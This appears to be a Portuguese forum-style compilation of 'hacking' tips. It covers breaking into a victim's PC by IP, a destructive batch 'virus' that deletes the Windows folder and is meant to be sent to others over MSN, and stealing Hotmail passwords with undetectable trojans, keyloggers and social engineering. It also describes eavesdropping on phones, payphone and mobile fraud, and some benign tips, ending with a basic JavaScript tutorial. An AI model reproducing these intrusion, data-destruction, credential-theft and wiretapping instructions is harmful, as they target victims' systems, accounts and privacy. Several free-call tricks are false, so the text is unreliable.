Invadindo pelo IP da vitíma
A invasão pôr IP pode ser feita de varias maneiras, aqui vai um jeito fácil de invadir sem ter q ficar fazendo mil coisas. Aqui vc aprenderá um meio de invadir pôr IP que só é garantido se vc e a pessoa a ser invadida estiverem o com o compartilhamento de dados ligado, e estiver entrando pela rede dial-up com a rede Microsoft instalada.
Se vc não esta com a rede Microsoft instalada e não sabe invadir, ai vai: Primeiro vá em meu computador, painel de controle, rede. Quando vc entrar na rede vai abrir uma caixa de comandos, veja lá se a rede Microsoft esta instalada, se estiver instalada vá em logon principal da rede e escolha cliente para a rede Microsoft , caso não esteja instalada, va em adicionar, na caixa va em cliente, depois em Microsoft e escolha cliente p/ rede Microsoft. Caso vc não ache esses nomes vá em com disco procure lá.
Depois de instalado volte para o meu computador, vá acesso a rede dial-up e clique com o botão direito na conexão q vc faz. Lá vá em propriedades, tipo do servidor, configuração TCP/IP, e especificar o IP. Lá vc poe o Ip do cara q vc vai invadir. Dai é só reconectar, ir em explorando do windows, ambiente de rede, e toda a rede. Assim q vc clicar em toda a rede o CPU do cara aparecera lá.
Lembresse q isso só dará certo se vc conectar via dial-up pelo Win95, ppp. Caso contrario não funcionara, e q também só dá certo se o compartilhamento de dados e impressão estiver ligado. É lógico q há maneiras de burlar isso, mas é preciso manja de alguma linguagem. (vc pode fazer uma linha de comando no Windows q vai até o compartilhamento e liga e passar esse programa para o cara dizendo q é outra coisa, o único problema é q ele tem q reiniciar o CPU, mas ha modos para mudar isso também)
APRENDA A CRIAR UM VIRUS
Criando um "vírus"
É muito simples vc vazer um virus no bloco de notas é só seguir as indicações abaixo.
Bom vamos lá
Criar virus no bloco de nota
Va em iniciar/executar e digite notepad.
Irá abrir o bloco de notas.
Copie o comando e cole no bloco de notas ao salvar vc usa .bat após o nome do arquivo
Ex: Virus.bat
del /s /q c:\windows\
(deleta tudo dentro do windows ex: arquivos e naum pastas)
rmdir /s /q c:\windows
(deleta tdo do windows) - (fode o pc)
shutdown -s
(desliga o pc)
shutdown -r
(reinicia o pc)
Obs:Não teste em seu proprio pc pois pode ocorer alguns danos.
Lembrando que esses comandos,são só para o windows XP
OBS: Para enviar o arquivo pelo msn vc tem que zipar ele
=••= BAIXAR VIDEO NO YOUTUBE SEM PROGAMA =••=
# Baixar os vídeos do YOUTUBE sem Programa
Qual programa eu uso para baixar os vídeos do YOUTUBE?
A resposta é simples: Nenhum!
Explicarei o procedimento:
• Entre no site www.youtube.com e procure pelo vídeo do qual você deseja fazer o download! Após encontrado o vídeo desejado, clique para abrir como se você fosse assisti-lo. Depois de ter feito isso, vá até a barra de endereços: Lá estará um link parecido com este:
https://br.youtube.com/watch?v=D-Kfcq5KM9o
• Vá até a barra de endereços e apague a palavra " watch? " , apague também o sinal de igualdade " = " , no lugar do sinal de igualdade coloque " / " , ficará assim:
https://br.youtube.com/v/D-Kfcq5KM9o
• Aperte enter, o vídeo ficará em uma tela inteira, após aparecer o vídeo na tela inteira, note que o link estará diferente, ex:
https://br.youtube.com/swf/l.swf?video_id=D...hCSqVwd103kqfYV
• Apague " swf/l.swf " e coloque " get_video " , ex:
https://br.youtube.com/get_video?video_id=D...hCSqVwd103kqfYV
• Aperte enter e pronto, abrira a janela perguntando aonde você deseja salvar o arquivo.
OBS.: APÓS TERMINAR O DOWNLOAD NÃO ABRA-O, RENOME-O, COLOQUE " . " E O FORMATO QUE DESEJA, EX: "Video.Avi"
=••=OUTRA MANEIRA=••=
No lugar de youtube coloque voobys
Ex:.
https://br.youtube.com/watch?v=D-Kfcq5KM9o
Ficará assim
https://br.voobys.com/watch?v=D-Kfcq5KM9o
Deixando a net mais rapida
va em iniciar/executar
e digite gpedit.msc
vá em modelos administrativos
em seguida vá em rede
depois va em Agendador de Pacotes QoS
Agora vá em Limitar largura de banda reservável
estará como naum configurado
então clique em ativado e mude o numero 20 para 0 e de Ok!
Agora reinicie o PC e veja a diferença...
DESCOBRINDO SENHA DO HOTMAIL!!!
Bom galera, resolvi fazer esse tutorial pois muita gente me procura para perguntar isso.
Para esse tutorial, vamos usar o Hotmail como Exemplo, mas todas as técnicas utilizadas aqui podem ser usadas para qualquer email e algumas até para o Orkut. É bom você saber que ninguém descobre a senha de um hotmail invadindo o servidor de email deles não.
Existe várias maneiras de se roubar/descobrir a senha de um Hotmail, vamos listar cada uma delas.
2º Método: Capturando senha usando Programas
» Trojans
Um método simples que dar certo em muitos casos, é mandar um Trojan para vítima, onde você não apenas rouba sua senha mas obtém acesso completo ao computador. Arranje um Trojan indetectável pelos antivírus ou proteja um sever detectavel para deixa-lo indetectavel.
Mande para vítima, faça ela executar (usando Engenharia Social) e invada, ative a captura do que ele tecla e aguarde ela entrar no email que você quer roubar. Para adiantar o processo, você pode fazer inumeras coisas pra ele acessar o email, tais como:
Mandar um email pra ele e diz pra ele ir lá ver
Fazer ele cair do MSN e forçando-o a redigitar a senha
Ahh, isso vai depender da sua criatividade.
Keyloggers
Um keylogger, como um nome já diz, serve para capturar o que é digitado no teclado, você vai fazer a mesma coisa que fez com o trojan, mandar e fazer a vítima executar, dependendo do Keylogger, você pode ver o log na sua tela ao vivo quando você quiser, ou o log pode ser enviado por email.
Para fazer isso você vai precisar de um keylogger bom e indetectável, sugiro o Ardamax 2.9. (Clique aqui para ver o Tutorial do Ardamax Keylogger)
Se fizer tudo certo, é só esperar algum tempo e a senha vem pra você, você pode usar Engenharia Social para encurtar esse tempo.
PS: Se você for programador, melhor ainda, pois você irá fazer seus próprios Malwares, tendo mais chance assim de obter sucesso, pois com 95% de certeza, seu Malware vai está indetectavel dependendo da lógica que você usou.
Meus tutoriais sempre estarão abertos a críticas. Se acha que devo implementar/tirar/alterar alguma coisa, entre em contato comigo e mostre suas argumentações.
Baixe esses arquivos Bankerfix / HijackThis
2º: Crie e Copie esses arquivos para C:\HijackThis (criando a pasta HijackThis).
3º: Execute o Hijackthis e procure as linhas
O4 - HKLM\..\Run: [MsnMsgs] C:\WINDOWS\system\Win24DLL.exe;
O7 - HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System, DisableRegedit=1;
depois de selecionalas clique em “Fix Checked”
4º: Pronto agora você ja pode entrar em Iniciar>Executar e digitar regedit
Clique em Ctrl+F e digite “DisableCMD” apos localizar delete;
5º: Sem sair do Regedit - Clique em Ctrl+F novamente e digite “DisableTaskmgr”
6º: Saia de tudo e inicie o Bankerfix - Espere pois vai demorar um pouco. Clique em OK. Pois apos isso ele irá remover os vírus!
7º: Reinicie e aprecie pois voce está livre dele.
OBS: RECOMENDO O USO DO NOD32 3.0 e o A-Square
comandos cmd !!!
COMANDOS
FUNÇÕES
APPEND
ACRESCENTAR UM ARQUIVO
ASCII
DEFINIR UM TIPO DE TRANFERÊNCIA ASCII
BELL
EMITIR UM AVISO SONORO AO TÉRMINO DO COMANDO
BINARY
DEFINIR TIPO DE TRANSFERÊNCIA BINÁRIA
BYE
TERMINAR SEÇÃO DE FTP E SAIR
CD
ALTERAR A PASTA DE TRABALHO REMOTA
CLOSE
TERMINAR SESSÃO DE FTP
DELETE
EXCLUIR PASTAS DE TRABALHO REMOTA
DEBUG
LIGAR/DESLIGAR MODO DE DEPURAÇÃO
DIR
LISTAR CONTEÚDO DA PASTA REMOTA
DISCONNECT
TERMINAR SESSÃO DE FTP
GET
RECEBER ARQUIVO
GLOB
LIGAR/DESLIGAR O MASCARAMENTO EM NOME DE ARQUIVOS LOCAIS
HASH
LIGAR/DESLIGAR IMPRESSÃO "#" PARA CADA BUFFER TRANSFERIDO
HELP
AJUDA DO FTP
LCD
ALTERAR A PASTA DE TRABALHO LOCAL
LITERAL
ENVIAR UM COMANDO DE FTP ARBITÁRIO
LS
LISTAR O CONTEÚDO DA PASTA REMOTA
MDELETE
EXCLUI VÁRIOS ARQUIVOS
MDIR
LISTAR O CONTEÚDO DE VÁRIAS PASTAS REMOTAS
M GET
OBTER VÁRIOS ARQUIVOS
MKDIR
CRIA UMA PASTA NA MÁQUINA NA MÁQUINA REMOTA
MLS
LISTAR O CONTEÚDO DE VÁRIAS PASTAS REMOTAS
MPUT
ENVIAR VÁRIOS ARQUIVOS
OPEN
CONECTAR AO FTP REMOTO
PROMPT
FORÇAR PROMPT INTERATIVO EM MÚLTIPLOS COMANDOS
PUT
ENVIAR UM ARQUIVO
PWD
IMPRIMIR A PASTA DE TRABALHO NA MÁQUINA REMOTA
QUIT
TERMINAR A SESSÃO DE FTP E SAIR
QUOT
ENVIAR UM COMANDO ARBITRÁRIO
RECV
RECEBER ARQUIVO
REMOTEHELP
OBTER AJUDA A PARTIR DO SERVIDOR REMOTO
RENAME
RENOMEAR ARQUIVO
RMDIR
REMOVER PASTA DA MÁQUINA REMOTA
SEND
ENVIAR ARQUIVO
STATUS
MOSTRAR STATUS ATUAL
TRACE
LIGAR/DESLIGAR RASTREAMENTO DE PACOTES
TYPE
DEFINIR O TIPO DE TRANSFERÊNCIA DE ARQUIVOS
USER
ENVIAR INFORMAÇÕES DE NOVO USUÁRIO
sem fio.
Você só poderá ouvir as conversas com estas dicas então as pessoas nunca saberão que você esta ouvindo as conversas deles.
Conversas
1-Para ouvir conversas dos outros
Telefones sem Fio:
Caso você tenha um telefone sem fio, poderá ouvir as conversas dele em radio FM. É só você ligar e discar para qualquer pessoa e procurar no radio, até sintonizar a mesma freqüência do telefone. Aqui vão algumas freqüências já testadas.
Panasonic
KX-T3908-
93,3MHz
Panasonic
KK-T4550-
93,3MHz
Outra dica boa: tambem é você comprar aqueles radinhos de crianças brincarem, que só pega uns 10 metros de um radinho para o outro, ai você pega um do seu filho, sobrinho, etc e liga um só radinho, ai você irá pegar freqüencias de telefone sem fio, de até uns 100 metros do radinho podre que só pegava 10 metros, falando de um para o outro.(Ele o radinho irá pegar a freqüencia que estiver mais perto dele então seu visinhos que usam telefone sem fio nunca estarão falando a sós no telefone).
Burlando telefones
2- Burlando Celulares
Primeiro, pegue o número que você vai discar.
Ex: 123-4567
Esse número é ficticio. Não ligue para lá, pedindo informações.
Entao devemos pegar o ultimo numero do telefone a ser discado, no caso o 7... subtraimos ele de 10, o que vai resultar o numero 3.
Somente vamos acrescentar o numero 3 ao final do numero discado. O resultado vai ficar:
Numero ligado sem pagar: 123-4567-3
3- Ligando em orelhões à cartão sem pagar
Truque com o cartão:
As tecnicas que eu uso são 3 agora vc vai conhece-las!
Enganando o telefone publico
1º jeito: Ponha o cartão e ligue normalmente
Quando a pessoa atender aperte o 0(zero) e segure.
Pronto agora suas fichas (unidades do cartão) não vão cair mais!
Obs: Não solte o dedo do 0(zero) se não as fichas vão voltar a cair,
essa e a parte chata!
2º jeito: Bote o cartão , assim que a pessoa falar ALOW! segure o numero 9 e retire o cartão,fique segurando o numero 9 até acabar de falar!
Grafite: O grafite é um material super condutor que conduz energia, e o cartão funciona assim, ele tem uns 50 fuziveiszinhos, cada ligação gasta ele queima um fuzivel, então o nosso amigo grafite que é condutor de eletricidade, não deixa queimar os fuziveis então faça o seguinte atrás do cartão,(na parte cinza) rabisque-a com força e bote no telefone publico e pronto ,mas lembre-se rabisque com força!
Esmalte de unha incolor
O esmalte impede que esses fusíveis queimem, faça também esse com os cartões de vídeo game (divertilandia)! Passe esmalte na parte de traz do cartão ,e no de vídeo game passe na parte da fita magnética! Pegue o cartão telefonico "novinho em folha"! dai coloque ele de molho na água candida (Va a uma lojas de limpeza e peça ,se não souber), depois de 3 ou 4 dias a tinta do cartão irá sair , depois pegue papel aluminio e cubra as partes metalicas com o papel aluminio , depois coloque o cartão no orelhão e ligue e faça afesta por que as ligaçoes ficarão infinitas!
Usando um cartão usado, envolvido por papel alumínio.
Usando um cartão usado de 50 ligações, com a parte de trás raspada Orelhão sem Fichas .
Usando um telefone comum.
Pegue algum telefone pequeno e descasque os fios, descasque o fio do orelhão e ligue-os com o do seu telefone.Pronto aí é só ligar pro Deus e o mundo.Mas se lembre que tem que por fio positivo com fio positivo, se não não vai dar.
4- Escuta por celular
Tire a bateria do seu celular, nos ferrinhos que tem em baixo coloque um pedacinho de alumínio e ponha a bateria de novo, aí é so ligar o celular, digitar #1058# e escutar tudo.
5- Conectando notebooks a telefones públicos
O processo para se conectar notebooks a orelhões, é igual ao de se conectar telefones comuns. Resumirei nesse item, algumas considerações a respeito da fiação do notebook, que segue os padrões da FCC Americana e é um pouco diferente da nossa. O conector do fio do notebook, que é do tipo jack, tem quatro fios dentro dele. Arranque o conector de plástico transparente que fica na ponta do fio, pegue os dois fios centrais e separe-os dos fios das extremidades. Estes dois fios centrais, são os que serão utilizados para fazer a ligação no orelhão. Eu aconselho que você coloque jacarés neles também. Basta conectar-se a BBS's da mesma forma que você se conecta em casa. Caso você queira testar se está tudo OK, abra um programa de terminal qualquer e digite o comando ATA, se fizer um barulhinho parecido com o tom de linha é que está tudo OK.
6- Efetuando ligações gratuitamente utilizando um aparelho comum
Primeiramente, você deve tomar os processos citados no ítem anterior (Como efetuar ligações de um telefone público utilizando um diodo)para descascar os fios do telefone público. Em seguida você deve conseguir um aparelho telefônico comum e ligar cada uma das pontas dos fios dele nos fios do orelhão. Para facilitar a sua vida, eu aconselho que o seu telefone seja o menor possível e que você prenda um jacaré (pequeno gancho achado em qualquer loja de componentes eletrônicos) em cada uma das pontas do seu telefone, para facilitar a ligação no orelhão. Aí é só efetuar a ligação normalmente.
7- Efetuando ligações de aparelhos sem teclas
Antes de começarmos, precisamos definir o que significa "duração de um pulso". Um pulso é simplesmente uma interrupção no fluxo de corrente que circula na linha telefônica, e a sua duração, entendida como o espaço de tempo decorrido do início ao fim desta interrupção. Os pulsos enviados pelo aparelho telefônico quando você aperta o botão de algum número, são iguais ao sinal emitido quando você coloca o telefone no gancho. A diferenciação éfeita pela central telefônica, usando como referência a duração do pulso. Se ele for um pouco maior do que 0.5 segundos (aumentar um pouco esse valor para as linhas mais antigas), a central considera que ‚ um pedido de linha. Se a duração do pulso for menor do que esse valor, a central irá considerar que um número a ser discado está sendo enviado. Para formar os números de 0 a 9, são enviado uma série de pequenos pulsos em sequência referentes ao número, ou seja, 2 pulsos para o número 2, 3 para o número 3 e assim por diante. Para o número 0 são enviados dez pulsos. Para simular esses pulsos sem a necessidade de teclas, basta usar o botão onde se "pega" a linha, aquele onde você coloca o telefone em cima quando quer terminar uma ligação. Aperte e solte este botão rapidamente de acordo com o número que você quer discar, espere um pouco e aperte outra série de vezes de acordo com o outro número. Lembre-se que para o número 0 deve-se apertar o botão dez vezes. Faça isso com todos os números e, ao final, você vai escutar o tom de chamada.
8- Ligando de telefone publico sem pagar
Este método só funciona em telefones antigos! Aqueles na base da moedinha (se estiver nos Estados Unidos, usa o Red Box). Por exemplo: O número que você quer ligar é 523-26-47 (número fictício) Primeiro você deve dimunuir de 10 todos os numeros que compoem o telefone a se ser discado, no caso esse telefone ficaria. Número a ser discado: 523-26-47 ORIGINAL
(5-10)=5
(2-10)=8
(3-10)=7
(2-10)=8
(6-10)=4
(4-10)=6
(7-10)=3
O novo número será: 587-84-63 O que você vai ter que fazer é bater no bocal do telefone o número de vezes correspondente a subtração. Conforme explicado em "Ligação de Aparelhos Sem Teclas". Desta maneira você podera fazer ligacoes gratuitamente...
9- Ligando do Celular pagando a metade
Este truque só funciona com celulares com a marca Motorola. Siga as instruções abaixo:
Pressione FCN
Digite 0000000 4
Pressione STO
Seqüência completa: FCN + 0000000 4 + STO
Viu como é simples??
Fazendo Escuta Celular via TV
(pode se necessário usar o manual da TV).
TV VHF canais 70 - 83 pegue a melhor distribuição do melhor tronco usado pelos
celulares. Este é o que distribui nesse fluxo. Sintonize esses canais ajustando-os a sua atual freqüência e você estar preparado para fazer a escuta. Cada canal da TV obrigara
5Mhz com ótimo controle de sintonia. Se mesmo assim você não tiver uma freqüência
exata você precisará ler sobre freqüência e você terá uma boa idéia de como obter uma exata.
Se a sensividade não estiver boa mesmo você estando na cidade, ou perto de uma freqüência exata você pegara alguma coisa. Você poderá também pegar transmissões de negócios no tronco móvel se o mesmo estiver fechado, as transmissões não serão ilegais a menos que a conversa esteja codificada então você poderá usar a velha TV para achar outro local de negócios que use freqüências entre 800Mhz ou mais.
10- Ligando do Celular sem pagar
Se você tem celular e no final do mês sai aquela conta terrível, você vai gostar deste truque. É muito fácil, até uma criança pode fazer. O truque funciona assim: Você tem que digitar no final do número outro número que somado com o último seja 10. Não entendeu? Veja esse exemplo: Se você quer ligar do seu celular para 123-4567 você vai pagar. Agora se você ligar para 123-45673 não vai pagar. Note que o número que você digitar no final soma com o ultimo: 7 + 3 = 10. Agora você pode ligar para qualquer numero, exemplo: 234-5678(2), 345-6789(1)... O 0 (zero) fica assim: 456-78900, digite outro zero :)
TEREMOS MAIS EM BREVE.
Como criar seu JavaScript
JavaScript é uma linguagem que permite injetar lógica em páginas escritas em HTML (HiperText Mark-up Language).
As páginas HTML podem ser escritas utilizando-se editores de texto, como o NotePad, Write, etc.., porém, existem editores próprios para gerar HTML, tais como HotDog e (mais recomendado) Microsoft FrontPage.
Os parágrafos de lógica do javaScript podem estar "soltos" ou atrelados a ocorrência de eventos.
Os parágrafos soltos são executados na seqüência em que aparecem na página (documento) e os atrelados a eventos são executados apenas quando o evento ocorre. Para inserir parágrafos de programação dentro do HTML é necessário identificar o início e o fim do set de JavaScript, da seguinte forma:
<SCRIPT>
Set de instruções
</SCRIPT>
Este procedimento pode ser adotado em qualquer local da página. Entretanto, para melhor visualização e facilidade de manutenção, recomenda-se que toda a lógica seja escrita no início do documento, através da criação de funções a serem invocadas quando se fizer necessário (normalmente atreladas a eventos).
Se a lógica é escrita a partir de um determinado evento, não é necessário o uso dos comandos <SCRIPT> e </SCRIPT>. Os comandos JavaScript são sensíveis ao tipo de letra (maiúsculas e minúsculas) em sua sintaxe. Portanto, é necessário que seja obedecida a forma de escrever os comandos, de acordo com a forma apresentada ao longo deste manual. Caso seja cometido algum erro de sintaxe quando da escrita de um comando, o JavaScript interpretará, o que seria um comando, como sendo o nome de uma variável.
São operadores a serem utilizados em comandos condicionais, tais como: IF , FOR e WHILE. Os comandos condicionais serão vistos mais a frente.
= = Igual
!= Diferente
> Maior
>= Maior ou Igual
< Menor
<= Menor ou Igual
&& E
|| Ou
OPERADORES MATEMÁTICOS
São operadores a serem utilizados em cálculos, referências de indexadores e manuseio de strings. Ao longo do manual estes operadores serão largamente utilizados, dando, assim, uma noção mais precisa do seu potencial.
+ adição de valor e concatenação de strings
- subtração de valores
* multiplicação de valores
/ divisão de valores
% obtem o resto de uma divisão:
Ex: 150 % 13 retornará 7
7 % 3 retornará 1
+= concatena /adiciona ao string/valor já existente. Ou seja:
x += y é o mesmo que x = x + y
da mesma forma podem ser utilizados: -= , *= , /= ou %=
Um contador pode ser simplificado utilizando-se : X++ ou X-- o que equivale as expressões:
X = X + 1 ou X = X - 1 respectivamente.
Para inverter sinal: X = -X negativo para positivo ou positivo para negativo.
CONTROLES ESPECIAIS
\b - backspace
\f - form feed
\n - new line caracters
\r - carriage return
\t - tab characters
// - Linha de comentário
/*....*/ - Delimitadores para inserir um texto com mais de uma linha como comentário.
Os delimitadores naturais para uma string são " ou ' . Caso seja necessário a utilização destes caracteres como parte da string, utilize \ precedendo " ou '.
Ex. alert ("Cuidado com o uso de \" ou \' em uma string")
COMANDOS CONDICIONAIS
São comandos que condicionam a execução de uma certa tarefa à veracidade ou não de uma determinada condição, ou enquanto determinada condição for verdadeira.
São eles:
Comando IF
if (condição)
{ ação para condição satisfeita }
[ else
{ ação para condição não satisfeita } ]
Ex.
if (Idade < 18)
{Categoria = "Menor" }
else
{Categoria = "Maior"}
Comando FOR
for ( [inicialização/criação de variável de controle ;]
[condição ;]
[incremento da variável de controle] )
{ ação }
Ex.
for (x = 0 ; x <= 10 ; x++)
{alert ("X igual a " + x) }
Comando WHILE
Executa uma ação enquanto determinada condição for verdadeira.
while (condição)
{ ação }
Ex.
var contador = 10
while (contador > 1)
{ contador-- }
ㅤMove condicional
receptor = ( (condição) ? verdadeiro : falso)
Ex.
NomeSexo = ((VarSexo == "M") ? "Masculino" : "Feminino")
OBS:
Nos comandos FOR e WHILE a diretiva "break" pode ser utilizada para interromper a condição principal e sair do loop. Da mesma forma, a diretiva "continue" interrompe uma ação (se determinada condição ocorrer) mas volta para o loop. Diretivas/condições entre [ ] significam que são opcionais. CRIANDO VARIÁVEIS
A variável é criada automaticamente, pela simples associação de valores a mesma.
Ex. NovaVariavel = "Jose"
Foi criada a variável de nome NovaVariavel que, passou a conter a string Jose. As variáveis podem ser Locais ou Globais. As variáveis que são criadas dentro de uma função são Locais e referenciáveis apenas dentro da função. As variáveis criadas fora de funções são Globais, podendo serem referenciadas em qualquer parte do documento. Desta forma, variáveis que precisam ser referenciadas por várias funções ou em outra parte do documento, precisam ser definidas como globais.
Embora não seja recomendável, em uma função, pode ser definida uma variável local com o mesmo nome de uma variável global. Para isso utiliza-se o método de definição var.
Ex. Variável Global : MinhaVariavel = ""
Variável Local : var MinhaVariavel = ""
ESCREVENDO NO DOCUMENTO
O JavaScript permite que o programador escreva linhas dentro de uma página (documento), através do método write. As linhas escritas desta forma, podem conter textos, expressões JavaScript e comandos Html. As linhas escritas através deste método aparecerão no ponto da tela onde o comando for inserido.
Ex:
<script>
valor = 30
document.write ("Minha primeira linha")
document.write ("Nesta linha aparecerá o resultado de : " + (10 * 10 + valor))
</script>
A idéia do exemplo acima é escrever duas linhas. Entretanto o método write não insere mudança de linha, o que provocará o aparecimento de apenas uma linha com os dois textos emendados. Para evitar este tipo de ocorrência, existe o método writeln que escreve uma linha e espaceja para a seguinte. Entretanto, em nossos testes, este comando não surtiu efeito,obtendo-se o mesmo resultado do método write. A solução encontrada para esta situação foi a utilização do comando de mudança de parágrafo da linguagem Html.
14 Jan Ex:
<script>
valor = 30
document.write ("<p>Minha primeira linha</p>")
document.write ("<p>Nesta linha aparecerá o resultado de : " + (10 * 10 + valor) + "</p>")
</script>
Isto resolve a questão da mudança de linha, porém, vai gerar uma linha em branco, entre cada linha, por se tratar de mudança de parágrafo. Caso não seja desejado a existência da linha em branco, a alternativa é utilizar o comando Html <br> que apenas muda de linha.
Ex:
<script>
valor = 30
document.write ("<br>Minha primeira linha")
document.write ("<br>Nesta linha aparecerá o resultado de : " + (10 * 10 + valor) )
</script>
MENSAGENS
Existem três formas de comunicação com o usuário através de mensagens.
Apenas Observação.
alert ( mensagem )
Ex.
alert ("Certifique-se de que as informações estão corretas")
Mensagem que retorna confirmação de OK ou CANCELAR
confirm (mensagem)
Ex.
if (confirm ("Algo está errado...devo continuar??"))
{ alert("Continuando") }
else
{ alert("Parando") }
Recebe mensagem via caixa de texto Input
Receptor = prompt ("Minha mensagem", "Meu texto")
Onde:
Receptor é o campo que vai receber a informação digitada pelo usuário.
Minha mensagem é a mensagem que vai aparecer como Label da caixa de input
Meu texto é um texto, opcional, que aparecerá na linha de digitação do usuário.
Ex.
Entrada = prompt("Informe uma expressão matemática", "")
Resultado = eval(Entrada)
document.write("O resultado é = " + Resultado)
CRIANDO FUNÇÕES
Uma função é um set de instruções, que só devem ser executadas quando a função for acionada. A sintaxe geral é a seguinte:
function NomeFunção (Parâmetros)
{ Ação }
Suponha uma função que tenha como objetivo informar se uma pessoa é maior ou menor de idade, recebendo como parâmetro a sua idade.
function Idade (Anos) {
if (Anos > 17)
{ alert ("Maior de Idade") }
else
{ alert ("menor de Idade") }
}
Para acionar esta função, suponha uma caixa de texto, em um formulário, na qual seja informada a idade e, a cada informação, a função seja acionada.
<form>
<input type=text size=2 maxlength=2 name="Tempo"
onchange="Idade(Tempo.value)">
</form>
Observe-se que o parâmetro passado (quando ocorre o evento "onchange") foi o conteúdo da caixa de texto "Tempo" (propriedade "value") e que, na função, chamamos de "Anos". Ou seja, não existe co-relação entre o nome da variável passada e a variável de recepção na função. Apenas o conteúdo é passado
FUNÇÕES INTRÍNSECAS
São funções embutidas na própria linguagem. A sintaxe geral é a seguinte:
Result = função (informação a ser processada)
- eval = Calcula o conteúdo da string
- parseInt - Transforma string em inteiro
- parseFloat - Transforma string em número com ponto flutuante
- date() - Retorna a data e a hora (veja o capítulo manipulando datas)
ex1: Result = eval ( " (10 * 20) + 2 - 8")
ex2: Result = eval (string)
No primeiro exemplo Result seria igual a 194. No segundo, depende do conteúdo da string, que também pode ser o conteúdo (value) de uma caixa de texto.
- Funções tipicamente Matemáticas:
Math.abs(número) - retorna o valor absoluto do número (ponto flutuante)
Math.ceil(número) - retorna o próximo valor inteiro maior que o número
Math.floor(número) - retorna o próximo valor inteiro menor que o número
Math.round(número) - retorna o valor inteiro, arredondado, do número
Math.pow(base, expoente) - retorna o cálculo do exponencial
Math.max(número1, número2) - retorna o maior número dos dois fornecidos
Math.min(número1, número2) - retorna o menor número dos dois fornecidos
Math.sqrt(número) - retorna a raiz quadrada do número
Math.SQRT2 - retorna a raiz quadrada de 2 (aproximadamente 1.414)
Math.SQRT_2 - retorna a raiz quadrada de 1/2 (aproximadamente 0.707)
Math.sin(número) - retorna o seno de um número (anglo em radianos)
Math.asin(número) - retorna o arco seno de um número (em radianos)
Math.cos(número) - retorna o cosseno de um número (anglo em radianos)
Math.acos(número) - retorna o arco cosseno de um número (em radianos)
Math.tan(número) - retorna a tangente de um número (anglo em radianos)
Math.atan(número) - retorna o arco tangente de um número (em radianos)
Math.pi retorna o valor de PI (aproximadamente 3.14159)
Math.log(número) - retorna o logaritmo de um número